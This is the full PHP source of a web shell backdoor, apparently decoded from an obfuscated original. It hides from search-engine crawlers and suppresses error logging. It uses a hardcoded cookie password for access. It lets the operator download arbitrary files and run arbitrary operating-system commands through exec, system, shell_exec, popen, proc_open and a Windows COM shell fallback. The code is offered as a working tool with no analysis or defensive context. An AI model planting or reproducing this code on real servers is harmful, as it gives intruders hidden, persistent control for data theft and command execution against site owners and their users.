PHP Decode

<?php 
set_time_limit(0); 
error_reporting(0); 
@ini_set("error_log", null); 
@ini_set("log_errors", 0); 
@ini_set("max_execution_time", 0); 
@ini_set("output_buffering", 0); 
@ini_set("display_errors", 0); 
session_start(); 
date_default_timezone_set("Asia/Jakarta"); 
 
$_7 = array_merge($_POST, $_GET); 
$_r = "required='required'"; 
$gcw = "getcwd"; 
$password = "loveyou"; 
$bcrypt = ["cost" => 12]; 
 
if (!empty($_SERVER["HTTP_USER_AGENT"])) { 
    $userAgents = [ 
        "Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", 
    ]; 
    if (preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) { 
        header("HTTP/1.0 404 Not Found"); 
        exit(); 
    } 
} 
 
if (isset($_7["!@*())!@*(!@()*!@*()!*()@"])) { 
    echo "<div class='text-center text-muted'>!@*())!@*(!@()*!@*()!*()@</div>"; 
} 
 
function login() { 
    global $password; 
    setcookie("shenna", $password, time() + 3600);  
    header("HTTP/1.0 404 Mau Ngapain Lurr"); 
    $host = "https://" . $_SERVER['HTTP_HOST']; 
    $url = $host . "/sadada"; 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    $response = curl_exec($ch); 
    if(curl_errno($ch)){ 
        echo 'Error: ' . curl_error($ch); 
    } 
    curl_close($ch); 
    echo $response; 
    exit();  
} 
 
if (!isset($_SESSION[password_hash($_SERVER["HTTP_HOST"], PASSWORD_BCRYPT, $bcrypt)])) { 
    if (empty($password) || (isset($_COOKIE["shenna"]) && $_COOKIE["shenna"] === $password)) { 
        $_SESSION[password_hash($_SERVER["HTTP_HOST"], PASSWORD_BCRYPT, $bcrypt)] = true; 
    } else { 
        login(); 
    } 
} 
 
if (isset($_7["left"])) { 
    session_start(); 
    session_destroy(); 
    unset($_COOKIE["shenna"]); 
    setcookie("shenna", "", time() - 3600); 
    echo '<script>window.location="' . $_SERVER["PHP_SELF"] . '";</script>'; 
} 
 
if (isset($_7["opn"]) && $_7["opn"] != "" && $_7["action"] == "download") { 
    @ob_clean(); 
    $file = $_7["opn"]; 
    header("Content-Description: File Transfer"); 
    header("Content-Type: application/octet-stream"); 
    header('Content-Disposition: attachment; filename="' . basename($file) . '"'); 
    header("Expires: 0"); 
    header("Cache-Control: must-revalidate"); 
    header("Pragma: public"); 
    header("Content-Length: " . filesize($file)); 
    readfile($file); 
    exit(); 
} 
 
function w($dir, $perm) { 
    if (!is_writable($dir)) { 
        return "<rd>" . $perm . "</rd>"; 
    } else { 
        return "<gr>" . $perm . "</gr>"; 
    } 
} 
 
function s() { 
    echo '<style>table{display:none;}</style><div class="table-responsive"><hr></div>'; 
} 
 
function ok() { 
    echo '<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>'; 
} 
 
function er() { 
    echo '<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>'; 
} 
 
function sz($byt) { 
    $typ = ["B", "KB", "MB", "GB", "TB"]; 
    for ($i = 0; $byt >= 1024 && $i < count($typ) - 1; $byt /= 1024, $i++); 
    return round($byt, 2) . " " . $typ[$i]; 
} 
 
function ia() { 
    $ia = ""; 
    if (getenv("HTTP_CLIENT_IP")) { 
        $ia = getenv("HTTP_CLIENT_IP"); 
    } elseif (getenv("HTTP_X_FORWARDED_FOR")) { 
        $ia = getenv("HTTP_X_FORWARDED_FOR"); 
    } elseif (getenv("HTTP_X_FORWARDED")) { 
        $ia = getenv("HTTP_X_FORWARDED"); 
    } elseif (getenv("HTTP_FORWARDED_FOR")) { 
        $ia = getenv("HTTP_FORWARDED_FOR"); 
    } elseif (getenv("HTTP_FORWARDED")) { 
        $ia = getenv("HTTP_FORWARDED"); 
    } elseif (getenv("REMOTE_ADDR")) { 
        $ia = getenv("REMOTE_ADDR"); 
    } else { 
        $ia = "Unknown IP."; 
    } 
    return $ia; 
} 
 
function exe($in, $re = false) { 
    $out = ""; 
    try { 
        if ($re) { 
            $in = $in . " 2>&1"; 
        } 
        if (function_exists("exec")) { 
            @exec($in, $out); 
            $out = @join("
", $out); 
        } elseif (function_exists("passthru")) { 
            ob_start(); 
            @passthru($in); 
            $out = ob_get_clean(); 
        } elseif (function_exists("system")) { 
            ob_start(); 
            @system($in); 
            $out = ob_get_clean(); 
        } elseif (function_exists("shell_exec")) { 
            $out = shell_exec($in); 
        } elseif (function_exists("popen") && function_exists("pclose")) { 
            if (is_resource($f = @popen($in, "r"))) { 
                $out = ""; 
                while (!@feof($f)) { 
                    $out .= fread($f, 1024); 
                } 
                pclose($f); 
            } 
        } elseif (function_exists("proc_open")) { 
            $pipes = []; 
            $process = proc_open($in . " 2>&1", [["pipe", "w"], ["pipe", "w"], ["pipe", "w"]], $pipes, null); 
            $out = @stream_get_contents($pipes[1]); 
        } elseif (class_exists("COM")) { 
            $alfaWs = new COM("WScript.shell"); 
            $exec = $alfaWs->exec("cmd.exe /c " . $_POST["cmd"]); 
            $stdout = $exec->StdOut(); 
            $out = $stdout->ReadAll(); 
        } 
    } catch (Exception $e) { } 
    return $out; 
} 
 
function exe_root($set, $sad) { 
    $x = "preg_match"; 
    $xx = "2>&1"; 
    if (!$x("/" . $xx . "/i", $set)) { 
        $set = $set . " " . $xx; 
    } 
    $a = "function_exists"; 
    $b = "proc_open"; 
    $c = "htmlspecialchars"; 
    $d = "stream_get_contents"; 
    if ($a($b)) { 
        $ps = $b($set, [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "r"]], $pink, $sad); 
        return $d($pink[1]); 
    } else { 
        return "proc_open function is disabled !"; 
    } 
} 
 
function p($file) { 
    $p = fileperms($file); 
    if (($p & 0xc000) == 0xc000) { 
        $i = "s"; 
    } elseif (($p & 0xa000) == 0xa000) { 
        $i = "l"; 
    } elseif (($p & 0x8000) == 0x8000) { 
        $i = "-"; 
    } elseif (($p & 0x6000) == 0x6000) { 
        $i = "b"; 
    } elseif (($p & 0x4000) == 0x4000) { 
        $i = "d"; 
    } elseif (($p & 0x2000) == 0x2000) { 
        $i = "c"; 
    } elseif (($p & 0x1000) == 0x1000) { 
        $i = "p"; 
    } else { 
        $i = "u"; 
    } 
    $i .= $p & 0x0100 ? "r" : "-"; 
    $i .= $p & 0x0080 ? "w" : "-"; 
    $i .= $p & 0x0040 ? ($p & 0x0800 ? "s" : "x") : ($p & 0x0800 ? "S" : "-"); 
    $i .= $p & 0x0020 ? "r" : "-"; 
    $i .= $p & 0x0010 ? "w" : "-"; 
    $i .= $p & 0x0008 ? ($p & 0x0400 ? "s" : "x") : ($p & 0x0400 ? "S" : "-"); 
    $i .= $p & 0x0004 ? "r" : "-"; 
    $i .= $p & 0x0002 ? "w" : "-"; 
    $i .= $p & 0x0001 ? ($p & 0x0200 ? "t" : "x") : ($p & 0x0200 ? "T" : "-"); 
    return $i; 
} 
 
if (isset($_7["dir"])) { 
    $dir = $_7["dir"]; 
    chdir($dir); 
} else { 
    $dir = $gcw(); 
} 
 ?>